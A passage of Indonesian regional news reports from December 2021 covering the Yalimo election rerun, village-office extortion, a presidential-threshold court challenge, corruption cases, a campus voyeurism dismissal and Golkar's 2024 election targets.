hukum tetap karena melakukan tindak pidana yang diancam dengan pidana penjara 5 (lima) tahun atau lebih, kecuali terhadap terpidana yang melakukan tindak pidana kealpaan atau tindak pidana politik dalam pengertian suatu perbuatan yang dinyatakan sebagai tindak pidana dalam hukum positif hanya karena pelakunya mempunyai pandangan politik yang berbeda dengan rezim yang sedang berkuasa. Bagi terpidana yang tidak menjalani pidana di dalam penjara meliputi terpidana karena kealpaan atau terpidana karena alasan politik wajib secara jujur atau terbuka mengemukakan kepada publik. Syarat pencalonan lainnya bukan mantan terpidana bandar narkoba atau bukan mantan terpidana kejahatan seksual terhadap anak dan tidak sedang dicabut hak pilihnya berdasarkan putusan pengadilan yang telah mempunyai kekuatan hukum tetap. Terlepas dari sejumlah syarat administrasi pencalonan pasangan bupati dan wakil bupati Kabupaten Yalimo para elite politik parpol harus lebih arif dan bijaksana dalam mengajukan figur pasangan kepala daerah untuk diusung dalam pilkada ulang 26 Januari 2022 Kabupaten Yalimo. Persoalan paling penting diperhatikan dalam mengusung pasangan calon kepala daerah Kabupaten Yalimo mengedepankan kearifan lokal budaya masyarakat setempat sehingga bisa mengurangi rasa apatisme warga dalam pelaksanaan pilkada ulang. Calon bupati dan wakil bupati yang akan diusung pada Pilkada Yalimo harus mempunyai visi misi yang jelas dan visioner dengan berbagai kebijakan strategis daerah untuk membangun Kabupaten Yalimo yang maju, mandiri dan sejahtera dalam bingkai Negara Kesatuan Republik Indonesia. Akankah Pilkada ulang Yalimo 26 Januari 2022 bisa berjalan secara demokratis, aman, lancar dan kondusif? Tentunya telah menjadi harapan dari semua elemen masyarakat maupun para pemangku kepentingan di Kabupaten pemekaran Yalimo. Vox populi Vox dei, suara rakyat adalah suara Tuhan. Artinya, suara rakyat harus dihargai sebagai penyampai kehendak Ilahi dalam memilih figur pasangan calon kepala daerah Kabupaten Yalimo. Torang Bisa! (sws)

Ombudsman Sumbar Masih Temukan Pungli di Kelurahan

Padang, FNN - Ombudsman RI Perwakilan Sumatera Barat masih menemukan pungutan liar di kelurahan saat warga mengurus surat yang dilakukan oleh oknum pegawai kelurahan. "Nominalnya pun bervariasi mulai dari Rp15 ribu hingga Rp1,5 juta," kata Asisten Ombudsman RI Perwakilan Sumbar Adel Wahidi di Padang, Jumat. Ia menyampaikan hal itu pada "Evaluasi Penilaian Kepatuhan Terhadap Standar Pelayanan Publik 2021" yang digelar Ombudsman RI Perwakilan Sumbar. Menurut dia, pihaknya masih menemukan ada oknum pegawai kelurahan yang memungut uang Rp15 ribu untuk mengurus surat keterangan miskin. Bahkan ada pula ditemukan pungutan hingga Rp1,5 juta oleh oknum petugas kelurahan terkait penerbitan surat soal tanah, katanya. Meski pengaduan soal pungli menurun, ia tetap masih menemukan adanya laporan pungli yang masuk. "Untuk kasus-kasus seperti ini ketika ada laporan dan ditindaklanjuti oleh Ombudsman biasanya uang tersebut sudah dikembalikan kepada masyarakat dan oknum yang menerima telah diberikan sanksi oleh atasan," ujarnya. Pada sisi lain, ia menilai perlu adanya komitmen yang berkelanjutan dari penyelenggara pelayanan publik untuk mencegah terjadinya pungli. "Jangan sampai ketika ada pemeriksaan atau pengawasan saja bebas pungli, setelah itu kembali ada pungli," ujarnya. Sementara Ketua Ombudsman RI Mokhammad Najih menilai penggunaan aplikasi dan informasi yang jelas akan mencegah terjadinya pungutan liar pada proses pelayanan publik yang dilakukan instansi dan lembaga pemerintah. Dalam pelayanan itu, katanya, jika ada informasi yang jelas soal batas waktu termasuk soal ada biaya atau tidak maka itu akan mencegah terjadinya pungutan liar. Menurutnya, masyarakat harus diedukasi agar saat mengurus keperluan dengan instansi pemerintah tidak mendelegasikan kepada orang lain. "Cukup percaya kepada penyelenggara pelayanan, jangan tergiur ada tawaran macam-macam hingga minta tolong orang," kata dia. Ia menilai jika penyelenggaraan dilakukan secara daring dan menggunakan aplikasi dan informasi yang memadai maka pungutan liar akan bisa dieliminasi. (sws)

Dua Anggota DPD RI Daftarkan Gugatan "Presidential Threshold" ke MK

Jakarta, FNN - Dua anggota DPD RI, Fachrul Razi dan Bustami Zainudin, resmi mendaftarkan gugatan terhadap presidential threshold atau ambang batas pencalonan presiden yang semula 20 persen agar menjadi nol persen ke Mahkamah Konstitusi (MK). Fachrul Razi dan Bustami Zainudin berdasarkan keterangan tertulis yang diterima di Jakarta, Jumat, mendaftarkan gugatan berupa permohonan pengujian materiil Undang-Undang (UU) Nomor 7 Tahun 2017 tentang Pemilu terkait presidential threshold didampingi kuasa hukum Refli Harun. "Gugatan ke MK ini dalam rangka pengujian materiil UU Pemilu terkait presidential threshold. Kita berharap UU ini menjadi pintu bagi segenap bangsa, terutama para pemimpin di daerah yang potensial untuk bisa berkiprah di tingkat nasional,” ujar Bustami Zainudin. Menurutnya, segenap bangsa Indonesia mempunyai kesempatan yang sama untuk mencalonkan diri sebagai pemimpin nasional. Dengan demikian, Bustami Zainudin berharap gugatan tersebut bisa diterima oleh Mahkamah Konstitusi untuk menghasilkan putusan yang adil bagi seluruh warga negara Indonesia. Di samping itu, Fachrul Razi meminta doa dan dukungan dari seluruh masyarakat agar demokrasi di Indonesia dapat ditegakkan melalui gugatan tersebut. “Kita doakan kepada Allah SWT semoga tergugah hati hakim MK memperhatikan dan memutuskan seadil-adilnya dalam rangka yang terbaik terhadap demokrasi Indonesia dan kita harapkan nol persen jawaban terhadap masa depan Indonesia. Salam PT (presidential threshold) nol persen," ucap dia. Kemudian, Bustami menilai gugatan terhadap presidential threshold menjadi penting agar ke depan UU Pemilu dapat menjadi rujukan UU Pilkada. “Kalau 20 persen ini bisa kita jadikan nol, mau tidak mau, suka tidak suka, untuk memilih pimpinan daerah, baik bupati, gubernur, maupun wali kota, kita berharap akan menjadi rujukan yang sama," ujar senator asal Lampung itu. Melalui gugatan yang mereka ajukan, Fachrul Razi mengimbau masyarakat Indonesia untuk senantiasa bersuara dan mengampanyekan presidential threshold nol persen. "Teruslah berjuang, kampanyekan PT 0 persen kepada civil society, gerakan mahasiswa, dan semua elemen stakeholder demokrasi. Kita bersuara dan berkampanye di media sosial dan di daerah masing-masing,” imbau Fachrul Razi. (sws)

Humas Konjen AS Surabaya Ajak ANTARA Bali Atasi Hoaks

Denpasar, FNN - Kepala Humas Konsulat Jenderal (Konjen) Amerika Serikat (AS) di Surabaya, Angie Mizeur, mengajak LKBN ANTARA Biro Bali untuk bersinergi dalam mengatasi hoaks, terutama hoaks yang merugikan hubungan Indonesia-Amerika. "Ke depan kita bisa bekerja sama untuk mengatasi informasi hoaks yang tersebar dan merugikan masyarakat dari kedua negara, seperti pelatihan jurnalis melawan hoaks yang sudah pernah kami adakan bersama AJI," katanya saat mengunjungi Kantor Biro LKBN ANTARA Bali di Jalan Mataram 1, Lapangan Lumintang, Denpasar, Jumat. Didampingi Asisten Bagian Media Humas Konjen AS di Surabaya, Yehezkiel Tumewu, ia mengucapkan selamat HUT ke-84 Kantor Berita ANTARA, khususnya teman-teman LKBN ANTARA di Bali. "Semoga, ANTARA terus menjadi kantor berita yang terpercaya," katanya. Dalam perbincangan dengan Kepala Biro LKBN ANTARA Bali Edy M Ya'kub dan staf, Angie juga menanyakan perkembangan COVID-19 di Pulau Dewata dan dampaknya pada masyarakat Bali, termasuk dampak pada kalangan wartawan di kawasan pariwisata yang mendunia itu. "Bagaimana dampak COVID-19 pada masyarakat Bali, apakah masyarakat masih bisa bertahan tanpa pariwisata yang menurun akibat Pandemi COVID-19? Bagaimana juga teman-teman wartawan di Bali dalam mencari informasi selama COVID-19?," katanya. Merespons hal itu, Kabiro ANTARA Bali Edy M Ya'kub menyampaikan terima kasih atas kunjungan Humas Konjen AS di Surabaya disela-sela Bali Democracy Forum (BDF) ke-14 di Nusa Dua, Kabupaten Badung, Bali (10/12/21) yang diikuti 50 perwakilan negara dan organisasi internasional, termasuk Menlu Amerika Serikat Antony Blinken, Menlu China Wang Yi, Menlu Turki Mevlut Cavusoglu, dan Menlu Selandia Baru Nanaia Mahuta. "Kami siap diajak bekerja sama untuk mengatasi hoaks, karena hoaks adalah musuh bersama seperti halnya COVID-19, apalagi Bali sebagai kawasan pariwisata akan sangat dirugikan dengan adanya hoaks. Sebagai Kantor Berita, ANTARA tidak hanya menjalin kerja sama dengan teman-teman media massa sebagai mitra utama, tapi juga siap bekerja sama dengan siapapun untuk melawan hoaks yang merugikan publik," katanya. Terkait dampak COVID-19 pada masyarakat Bali, Edy menyatakan Bali sebagai kawasan pariwisata merupakan kawasan yang paling terdampak dengan segala bentuk bencana, apalagi bencana yang bersifat agak lama, seperti Pandemi COVID-19 (2019-2021) atau erupsi Gunung Agung (2017). "Bali memang paling terdampak dibandingkan daerah lain di Indonesia, karena pariwisata memberi kontribusi pendapatan hingga 63,4 persen pada Pulau Dewata, sehingga pengaruh terhadap pariwisata akan sangat terasa dampaknya," katanya. Namun, katanya, Pandemi COVID-19 telah menyadarkan masyarakat dan pemerintah di Bali untuk melirik potensi lain secara seimbang yakni pertanian dan UMKM (kerajinan) serta mendorong pariwisata budaya sebagai primadona dibandingkan dengan wisata alam, karena budaya merupakan keunggulan masyarakat Bali. "Karena itu, kami juga mengapresiasi bila Konjen AS di Surabaya menjalin kerja sama dengan masyarakat dan pemerintahan di Bali untuk mengembangkan potensi pertanian, kerajinan/UMKM, dan pariwisata budaya," katanya, yang direspons positif oleh Kepala Humas Konjen AS Angie Mizeur. (sws)

Polisi Tangkap Petani Tanam Pohon Ganja di Lombok Tengah

Praya, Lombok Tengah, FNN - Jajaran Polres Lombok Tengah, Nusa Tenggara Barat (NTB) menangkap seorang petani inisial JM (31), warga Kecamatan Pujut, karena menanam pohon ganja dalam pot di rumahnya. "Pohon ganja yang ditanam di pot itu menggunakan ember dengan jumlah ranting 23," kata Kasatresnarkoba Polres Lombok Tengah Iptu Hizkian Siagian, di Praya, Jumat. Kasus ini terungkap berdasarkan informasi dari masyarakat bahwa pelaku diduga menanam ganja di rumahnya. Selanjutnya anggota Satresnarkoba Polres Lombok Tengah melakukan penyelidikan dan mendalami informasi tersebut. Setelah mengetahui keberadaan tanaman yang diduga ganja tersebut berada di halaman rumah tersebut, anggota juga memastikan terduga berada di rumahnya. "Anggota melakukan penyergapan dan melakukan penangkapan terhadap terduga pelaku di rumahnya tanpa perlawanan," katanya lagi. Kemudian anggota melakukan penggeledahan di area rumahnya dan ditemukan satu batang pohon yang diduga ganja ditanam di pot di depan rumahnya. Pelaku bersama barang bukti langsung dibawa ke Polres Lombok Tengah untuk proses hukum lebih lanjut. "Dari pengakuan terduga bahwa pohon diduga ganja itu berumur kurang lebih 2 bulan yang ditanam sendiri," katanya pula. Atas perbuatannya pelaku dijerat Pasal 111 KUHP ayat (1) tentang Narkotika Golongan I dalam bentuk tanaman dipidana dengan penjara paling singkat 4 tahun dan paling lama 12 tahun penjara. (sws)

Pemkab Badung Raih Penghargaan dari KPK

Badung, FNN - Pemerintah Kabupaten (Pemkab) Badung, Bali meraih penghargaan dari Komisi Pemberantasan Korupsi (KPK) kategori pemerintah daerah yang mampu memperoleh Dana Insentif Daerah (DID) dua kali berturut-turut pada tahun 2020-2021. Penghargaan itu diraih atas keberhasilan Pemkab Badung dalam mempertahankan dan meningkatkan kualitas tata kelola keuangan, pelayanan umum pemerintah, pelayanan dasar publik, serta kesejahteraan masyarakat. "Kami meraih penghargaan kategori DID karena penetapan Perda APBD tepat waktu, serta penggunaan e-Government berupa e-Budgeting dan e-Procurement," ujar Bupati Badung Nyoman Giri Prasta dalam keterangan yang diterima, di Mangupura, Kamis. Ia mengatakan, atas nama pemerintah dan masyarakat Badung, pihaknya berterima kasih khususnya kepada seluruh jajaran KPK atas penghargaan tersebut "Kami tetap solid untuk selalu taat asas, karena kami memiliki prinsip bahwa cara kita agar tidak kena hukum itu gampang, yaitu jangan sekali-kali pernah melanggar hukum," katanya pula. Penghargaan itu, diserahkan pada Puncak Peringatan Hari Anti Korupsi Dunia (Hakordia) 2021 di Gedung Juang Kantor KPK Jakarta, Kamis. Kegiatan dihadiri langsung oleh Presiden Joko Widodo, Wakil Presiden Ma'ruf Amin beserta jajaran Kabinet Indonesia Maju. Ketua KPK Firli Bahuri menjelaskan, peringatan Hari Anti Korupsi Dunia Tahun 2021 mengambil tema “Satu Padu Bangun Budaya Antikorupsi” untuk memberikan kesempatan kepada seluruh anak bangsa untuk berperan aktif ambil bagian dalam melakukan upaya pemberantasan korupsi. "Dalam membantu Pemerintah menyelamatkan keuangan negara, KPK telah berhasil mengembalikan keuangan negara sebesar Rp2,6 triliun untuk tahun 2021. Selain itu, KPK juga telah menyelamatkan potensi kerugian negara Rp46,5 triliun," katanya lagi. Ia mengungkapkan, pada periode 2021 pihaknya telah menerima laporan gratifikasi sebanyak 1.838. Pihaknya juga tidak akan pernah putus asa membangun budaya antikorupsi. "KPK telah mengeluarkan surat edaran untuk kepala daerah agar melibatkan diri menyusun peraturan daerah untuk memasukkan program pendidikan antikorupsi," ujar Firli pula. (sws)

LSM: Banyak Kasus Korupsi di Aceh Tak Dapat Perhatian Khusus APH

Banda Aceh, FNN - Lembaga swadaya masyarakat (LSM) Gerakan Anti Korupsi (GeRAK) Aceh mencatat banyak kasus dugaan tindak pidana korupsi di Aceh tidak mendapatkan perhatian khusus dari aparat penegak hukum (APH) di Tanah Rencong ini. "Saat ini ada beberapa kasus korupsi yang tidak mendapat tanggapan secara serius dari institusi aparat penegak hukum, khususnya kejaksaan dan kepolisian," kata Koordinator GeRAK Aceh Askhalani, di Banda Aceh, Kamis, di sela diskusi antikorupsi dalam rangka peringatan Hari Anti Korupsi Internasional (HAKI) 2021, di Banda Aceh. Menurut Askhalani, perkara dugaan korupsi yang dinilai kurang mendapatkan perhatian tersebut, di antaranya kasus beasiswa Pemerintah Aceh, kasus Cunda Meuraxa Kota Lhokseumawe, OTT (operasi tangkap tangan) dana desa di Aceh Barat serta kasus lainnya. Padahal, kata Askhalani, sejumlah perkara tersebut sudah memiliki hasil audit Badan Pengawasan Keuangan dan Pembangunan (BPKP) Aceh, dengan indikasi kuat adanya dugaan kerugian negara. Namun, terhadap perkara itu tidak ditingkatkan statusnya. "Ini merupakan beberapa kasus yang tidak jelas ditangani, padahal publik begitu menaruh perhatian besar dalam kasus yang ditangani oleh kejaksaan dan kepolisian," ujarnya. Berangkat dari itu, kata Askhalani, ada beberapa hal yang perlu dibenahi sehingga publik kembali memperhatikan isu antikorupsi, di antaranya reformasi sektor hukum agar terbebas dari politik hingga menjadi lembaga independen dan tidak mudah dirasuki kepentingan lain. "Momentum saat ini yang sedang dilakukan oleh Kapolri dan Kejaksaan Agung juga merupakan cara tepat untuk mewujudkan lembaga institusi ini mendapat perhatian publik dan kembali dipercaya," kata advokat itu. Askhalani juga menuturkan, Komisi Pemberantasan Korupsi (KPK) RI saat ini juga sedang mendalami beberapa perkara khusus di Aceh yang mulai mendapatkan perhatian serius dari masyarakat. Karena itu, KPK perlu mempercepat penanganan perkara yang sedang dilakukan tersebut. "Proses ini sangat penting dipercepat, terutama agar menjadi efek kejut, sehingga korupsi di Aceh tidak tumbuh ibarat jamur di musim hujan," ujarnya pula. Tak hanya itu, Askhalani juga menuturkan bahwa berdasarkan catatan GeRAK Aceh, selama 2020-2021 ini kasus korupsi di Aceh semakin meningkat, dan nyaris tidak ada institusi yang terbebas dari perilaku korupsi. "Berdasarkan fakta hasil kajian GeRAK Aceh menemukan bukti bahwa beberapa wilayah dan sektor yang dominan (terjadinya korupsi) itu yakni pengadaan barang dan jasa, kesehatan, belanja sosial, dan untuk program dominan di wilayah infrastruktur serta dana desa," demikian Askhalani. (sws)

Semua Tempat Usaha di Aceh Barat Wajib Tutup Saat Shalat Maghrib

Meulaboh, FNN - Kepala Dinas Satuan Polisi Pamong Praja dan Wilayatul Hisbah (Satpol PP WH) Kabupaten Aceh Barat Dodi Bima Saputra menegaskan seluruh tempat usaha termasuk makanan dan minuman di daerah ini, wajib ditutup sementara saat berlangsung ibadah Shalat Maghrib jelang malam hari. “Penerapan aturan ini sesuai dengan Qanun Nomor 11 Tahun 2002 tentang Aqidah, Ibadah dan Syiar Islam yang sudah lama berlaku di Aceh,” kata Dodi Bima Saputra, di Meulaboh, Kamis malam. Ia mengatakan penerapan aturan tersebut dilakukan sebagai upaya untuk meningkatkan penerapan syariat Islam yang berlaku di Aceh, sekaligus mempermudah masyarakat dalam beribadah. Dalam penertiban ini, petugas juga mengimbau kepada setiap pedagang agar menutup tempat usahanya sejak pukul 18.00 WIB dan tidak melayani pembeli, hingga pelaksanaan ibadah Shalat Maghrib selesai dilaksanakan. Petugas juga turut memberikan sosialisasi kepada para pelaku usaha dan pengunjung terkait aturan penerapan syariat Islam, dan mengimbau pelaku usaha agar berpedoman pada aturan yang berlaku. Selain itu, kata Dodi, kegiatan penertiban kepada kalangan pedagang tersebut juga dilakukan sebagai upaya untuk menerapkan aturan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) di tengah pandemi COVID-19. Adapun lokasi yang didatangi petugas saat melakukan penertiban pada Senin petang, kata dia, meliputi kawasan Pelabuhan Jetty Meulaboh, sejumlah kafe di kawasan Seuneubok, Kutapadang, Ujong Kalak Meulaboh, serta sejumlah lokasi lainnya. “Personel Satuan Polisi Pamong Praja dan Wilayatul Hisbah Aceh barat akan terus mengawal dan menyampaikan imbauan kepada seluruh pelaku usaha, agar senantiasa dalam operasional usahanya serta tetap mematuhi aturan yang berlaku,” kata Dodi Bima Saputra. (sws)

Mantan Kades Tersangka Korupsi DD Rp119,9 Juta

Rejang Lebong, Bengkulu, FNN - Kejaksaan Negeri (Kejari) Rejang Lebong, Provinsi Bengkulu menetapkan mantan kepala desa di daerah ini sebagai tersangka dugaan korupsi penyalahgunaan dana desa (DD) senilai Rp119,9 juta untuk membuat BUMDes fiktif. Kepala Kejari Rejang Lebong Yadi Rachmat Sunaryadi diwakili Kasi Pidsus Arya Marsepa, di Rejang Lebong, Kamis, mengatakan tersangka dugaan korupsi DD tersebut ialah Rm (59), mantan Kades Bandung Marga, Kecamatan Bermani Ulu Raya periode 2014-2020 lalu. "Pada hari ini Kejaksaan Negeri Rejang Lebong telah menetapkan tersangka Rm, mantan Kades Bandung Marga, Kecamatan Bermani Ulu Raya sebagai tersangka dalam kasus dugaan pelanggaran hukum penggunaan anggaran dalam pembentukan dan pengembangan BUMDes Bintang Bermani, Desa Bandung Marga, Kecamatan Bermani Ulu Raya tahun anggaran 2018," kata dia. Dia menjelaskan, tersangka Rm setelah menjalani beberapa kali pemeriksaan serta saksi-saksi lainnya diduga kuat telah melakukan perbuatan tindak pidana korupsi saat menjabat sebagai kepala desa di wilayah itu, dengan cara membuat BUMDes fiktif yang diberi nama BUMDes Bintang Bermani. Tersangka ini, kata dia, setelah dilakukan pemeriksaan langsung dilakukan penahanan dan dititipkan ke Rutan Polres Rejang Lebong selama 20 hari ke depan untuk kepentingan penyidikan lebih lanjut. Penahanan tersangka ini dilakukan karena adanya kekhawatiran pihaknya, tersangka akan melarikan diri, kemudian merusak atau menghilangkan barang bukti atau mengulangi perbuatannya. Selain itu, tindak pidana yang dilakukan tersangka ini ancaman pidananya lima tahun ke atas. Sejauh ini dari pemeriksaan sejumlah saksi termasuk keterangan tersangka, BUMDes Bintang Bermani tersebut sengaja dibentuk oleh tersangka pada tahun 2018 dengan sejumlah pengurus yang sengaja dibuatnya dan mendapat penyertaan modal dari dana desa sebesar Rp125 juta. Penyertaan modal ini pada 2019 kembali dianggarkan tersangka, namun tidak jadi digunakan karena BUMDes fiktif ini mulai diketahui umum, sehingga dialihkan untuk kegiatan lainnya. "Berdasarkan pengakuan tersangka di rekeningnya Rp5 juta lagi, tetapi saat kita tanya tersangka sulit menunjukkannya. Kerugian negara berdasarkan hasil audit dari Inspektorat Rejang Lebong jumlahnya sebesar Rp119.900.000," demikian Arya Marsepa. Tersangka sendiri mereka jerat atas pelanggaran Pasal 2 ayat 1 juncto Pasal 18 UU No. 31/1999 yang telah diubah dan ditambah dengan UU No. 20/2001 tentang Pemberantasan Tindak Pidana Korupsi subsider Pasal 3 juncto Pasal 18 UU No. 31/1999, yang telah diubah dan ditambah dengan UU No. 20/2001 tentang Pemberantasan Tindak Pidana Korupsi, dengan ancaman penjara lebih dari lima tahun. (sws)

Rektor UNM Pecat Satpam Kampus Kedapatan Berbuat Asusila

Makassar, FNN - Rektor Universitas Negeri Makassar (UNM) Prof Husain Syam akhirnya memecat oknum satpam kampus berinisial A yang kedapatan sengaja merekam mahasiswi peserta PPM Program Kampus Merdeka melalui ponselnya saat mandi di toilet samping mes kampus setempat. "Sudah dipecat dengan tidak terhormat. Oknum Security ini sudah ditahan di kantor polisi. Kejadian ini tidak ada sangkut pautnya dengan kampus, sebab ini murni perbuatan kriminal," ujar Prof Husain Syam menegaskan kepada wartawan, di Hotel Lamacca, Makassar, Sulawesi Selatan, Kamis malam. Pihaknya membantah keras informasi yang beredar bahwa kejadian tersebut di Hotel Lamacca, padahal bukan di situ lokasinya, tapi berada di toilet umum yang biasa digunakan orang, dan bukan di dalam hotel maupun mes UNM tempat tinggal sementara mahasiswi peserta PPM Program Kampus Merdeka. Untuk proses hukum, kata dia, pihaknya menyerahkan penuh kepada aparat yang berwenang. Kendati saat ini korban belum melaporkan perbuatan pelaku ke polisi, namun pihak kampus siap memfasilitasi korban melapor dengan menyiapkan pendampingan hukum. "Kami siapkan bantuan hukum dari kampus sekaligus layanan trauma healing untuk memberikan penguatan psikologis kepada korban. Rencana besok akan dilaporkan secara resmi," katanya pula. Mantan Dekan Fakultas Teknik UNM ini menjelaskan kronologi kejadian bahwa korban keluar mandi bukan di dalam mes UNM yang disediakan, bahkan lokasinya di luar Hotel Lamacca. Tempat kejadian, ada kaca dalam gudang samping toilet di situlah tempatnya (merekam). Oknum satpam yang sudah lepas jaga ini ada di situ lalu merekam korban sedang mandi. Saat korban melihat di kaca ada ponsel, langsung kaget lalu pakai baju kemudian berteriak minta tolong. Oknum satpam ini pun ketahuan, karena hanya dia yang ada di dalam gudang tersebut, selanjutnya diamankan. "Saat saya dapat informasi, saya katakan, pecat oknum satpam itu. Besok, saya keluarkan SK pemecatannya. Saya serahkan sepenuhnya kepada petugas kepolisian untuk proses hukum karena tidak ada jalan damai," ujar Husain menekankan. Di tempat terpisah, Kepala Unit II Resmob Polsek Rappocini Ipda Ahmad membenarkan saat ini oknum satpam itu ditahan dan sementara dilakukan penyelidikan. Ia mengungkapkan, terduga pelaku sudah tiga kali melakukan perbuatan tersebut terhadap dua korbannya mahasiswi. Namun baru kali ini kedapatan secara langsung oleh korban. "Pengakuan terduga, sudah tiga kali merekam, dua kali untuk korban ini, dan satu kali korban mahasiswi lain. Motifnya masih dalam pengembangan. Barang bukti disita ponsel terduga dan bajunya. Untuk pasal dikenakan nanti Undang-Undang ITE dengan ancaman pidana penjara enam tahun," kata Ipda Ahmad menegaskan. (sws)

Kesbangpol Karawang: Setiap Tahun Selalu Ada Ormas Baru

Karawang, FNN - Kantor Kesatuan Bangsa dan Politik Kabupaten Karawang, Jawa Barat menyebutkan setiap tahun jumlah ormas di daerah ini bertambah karena selalu ada ormas yang baru. "Sejak beberapa tahun terakhir hingga saat ini, setiap tahunnya di Karawang selalu ada ormas baru," kata Kepala Kantor Kesatuan Bangsa dan Politik (Kesbangpol) Karawang Sujana Ruswana, di Karawang, Jumat. Ia mengatakan, sesuai dengan catatan Kesbangpol setempat, penambahan jumlah ormas tersebut per tahun ada empat sampai lima ormas baru. Menurut dia, hingga kini jumlah ormas yang terdaftar di Kesbangpol Karawang sebanyak 600 ormas. Namun dari jumlah itu, hanya 270 ormas yang berbadan hukum dan teregistrasi, sisanya masih belum menertibkan administrasi. Dia berharap keberadaan ormas mampu dirasakan masyarakat dan pemerintah daerah. Sebab pada dasarnya keberadaan ormas bertujuan untuk mendukung dan berpartisipasi dalam pembangunan daerah. Sujana menyampaikan pihaknya setiap tahun menyalurkan anggaran operasional untuk ormas yang ada di Karawang yang menjadi bagian dari upaya pembinaan ormas. Pada tahun 2020 dan 2021, Kesbangpol Karawang mengalokasikan total anggaran untuk bantuan operasional ormas sekitar Rp500 juta. Kemudian pada tahun depan atau 2022, pihaknya telah mengalokasikan anggaran sekitar Rp700 juta per tahun untuk bantuan operasional ormas. "Besaran bantuan operasional yang kami salurkan ke ormas itu bervariasi, minimal Rp10 jutaan per tahun," katanya pula. (sws)

Kominfo Sulut: Insan Penyiaran Dituntut Hadirkan Konten Berintegritas

Manado, FNN - Kepala Dinas Komunikasi dan Informatika (Kadiskominfo) Provinsi Sulawesi Utara (Sulut) Steven Liow mengatakan insan penyiaran dituntut menghadirkan konten berintegritas dan terpercaya. "Dampaknya dapat membuat masyarakat bisa mencerna sebuah informasi dengan baik, menghadirkan siaran yang baik, mudah dipahami dan dapat dipercaya," kata Steven pada acara Anugerah Penyiaran Sulut 2021, di Manado, Kamis. Insan penyiaran di daerah, menurut dia, harus punya andil besar dalam mengedukasi masyarakat di daerah, mendukung pemerintah daerah dalam penyebaran informasi kepada masyarakat, termasuk memberikan informasi aktual. Penyiaran, kata dia, mempunyai peran besar dalam kehidupan bermasyarakat dan berbangsa, dalam hal ini mengedukasi masyarakat. Penyiaran juga menjadi garda depan yang selalu diharapkan menyajikan informasi terpercaya dan akurat kepada masyarakat, sehingga masyarakat paham apa yang harus dilakukan. "Di masa sekarang peran insan penyiaran semakin diharapkan profesional," katanya pula. Anugerah Penyiaran Sulut 2021 menjadi penting dan sangat diperlukan untuk mengapresiasi, sekaligus meningkatkan insan penyiaran di daerah untuk bisa berbuat yang lebih lagi, lebih kreatif, dan lebih inovatif, namun tetap tidak melanggar ketentuan-ketentuan penyiaran hingga tetap mampu memberi dukungan terhadap pembangunan dan kemajuan bangsa. "Memang sangat diperlukan bentuk-bentuk apresiasi kepada pelaku-pelaku penyiaran yang sudah memberikan pengaruh, dampak besar bagi kehidupan di masyarakat, juga bagi pembangunan bangsa dan daerah," katanya pula. Anugerah Penyiaran Sulut 2021 ini, ujar dia lagi, menjadi penting dilaksanakan untuk menghargai karya, sekaligus memacu ke depan bisa terus konsisten menghadirkan siaran yang baik, dan bahkan bisa terpacu untuk menjadi lebih baik. Dia berharap, apresiasi kepada insan penyiaran ini akan terus dilaksanakan, hingga berdampak bagi kualitas penyiaran di daerah. "Penyiaran di daerah ini terus menjadi unsur yang ikut mengiringi pembangunan dan kemajuan bangsa dan daerah Sulawesi Utara, mendukung kinerja pemerintah daerah, dan bersama-sama memberikan dampak baik bagi kemajuan bangsa dan daerah," kata Steven pula. (sws)

DPP Targetkan Golkar Sulsel Menang Pemilu 2024

Makassar, FNN - Wakil Ketua Umum Partai Golkar Agus Gumiwang Kartasasmita menekankan kepada Ketua dan Pengurus DPD Golkar Sulsel yang telah dilantik untuk menyelesaikan konsolidasi sekaligus memberi target menang pemilu legislatif dan pilkada termasuk Pemilihan Presiden 2024. "Misi kita, target kita untuk pemilu maupun pilkada bisa kita capai. Selesaikan konsolidasi yang belum selesai sampai ke akar rumput. Kemudian, menyediakan fungsionaris di Sulsel," ujar Agus Gumiwang usai melantik Pengurus DPD Golkar Sulsel, di Hotel Four Poin by Sheraton, Makassar, Kamis. Selain itu, DPP mengharapkan DPD Golkar Sulsel segera membentuk fungsionaris yang berbasis TPS (tempat pemungutan suara). Selanjutnya, membentuk infrastruktur untuk kegiatan sosialisasi, baik melalui media cetak, media elektronik, dan sebagainya. Hasil rapat kerja nasional (rakernas), telah diputuskan target menang 60 persen untuk pilkada secara nasional pada 2024. "Itu bukan hal mustahil, karena capaian hasil pilkada lalu sebesar 61 persen. Untuk Pileg DPR RI kami menargetkan 20 persen (sekitar 115 kursi)," kata Agus Gumiwang yang juga Menteri Perindustrian Kabinet Kerja Jokowi-Ma'ruf Amin ini membeberkan. Selain target perolehan kursi dan pilkada, secara nasional target kemenangan usungan calon presiden dari Golkar, bulat mendukung Airlangga Hartarto, juga menjadi bagian dari skenario politik besar partai berlambang pohon beringin rindang ini. "Pak Airlangga memang sudah menjadi orang yang kita usung jadi calon presiden. Kita akan berjuang untuk beliau menjadi presiden Indonesia. Kalau untuk calon wakil presiden nanti kita lihat," ujarnya kepada wartawan. Agus Gumiwang saat sambutan pada acara pelantikan jajaran Pengurus DPD Golkar Sulsel menyampaikan, DPP punya peta jalan yakni tiga hal utama. Konsolidasi, rekrutmen, hingga sosialisasi Airlangga Hartarto sebagai calon presiden. Tahun ini, segera merampungkan konsolidasi di tingkatan pengurus daerah, tahun 2022 rekrutmen anggota untuk membangun pasukan darat dari Golkar dimulai fungsionaris di Sulsel. Tahun 2023 memantapkan jadwal agenda seting, dan 2024 pendayagunaan kekuatan untuk menyukseskan target menang pilpres, pileg dan pilkada. "Golkar Sulsel mesti mengambil simpati masyarakat untuk menangkan pemilu. Dukung kegiatan pemerintah daerah, persiapkan saksi berbasis TPS, petakan tokoh adat, pemuda, organisasi, masyarakat di tingkat akar rumput. Lanjutkan pembentukan basis massa dan kelompok kader, serta perkuat pencitraan," katanya kembali menekankan. Ketua DPD Golkar Sulsel, HM Taufan Pawe pada kesempatan itu mengemukakan, komposisi kepengurusannya tercatat sebanyak 175 orang. Dengan komposisi tersebut, pihaknya yakin target yang diberikan DPP diyakini akan terealisasi. Taufan juga menyampaikan, dari 24 DPD kabupaten kota, sudah 23 DPD yang sudah melaksanakan Musyawarah Daerah (Musda). Ia pun meminta seluruh kader, anggota legislatif mendukung penuh program Pemerintah Daerah Provinsi. Wali Kota Parepare ini pun berjanji akan mengembalikan kejayaan Golkar sebagai lumbung suara, mengingat partai ini punya sejarah panjang selama tiga rezim. "Saya minta tolong, ini partai besar, sebagai kapal besar, tentu diterpa ombak besar. Dinamika dalam organisasi partai itu biasanya, kami rindu mengembalikan kejayaan golkar," 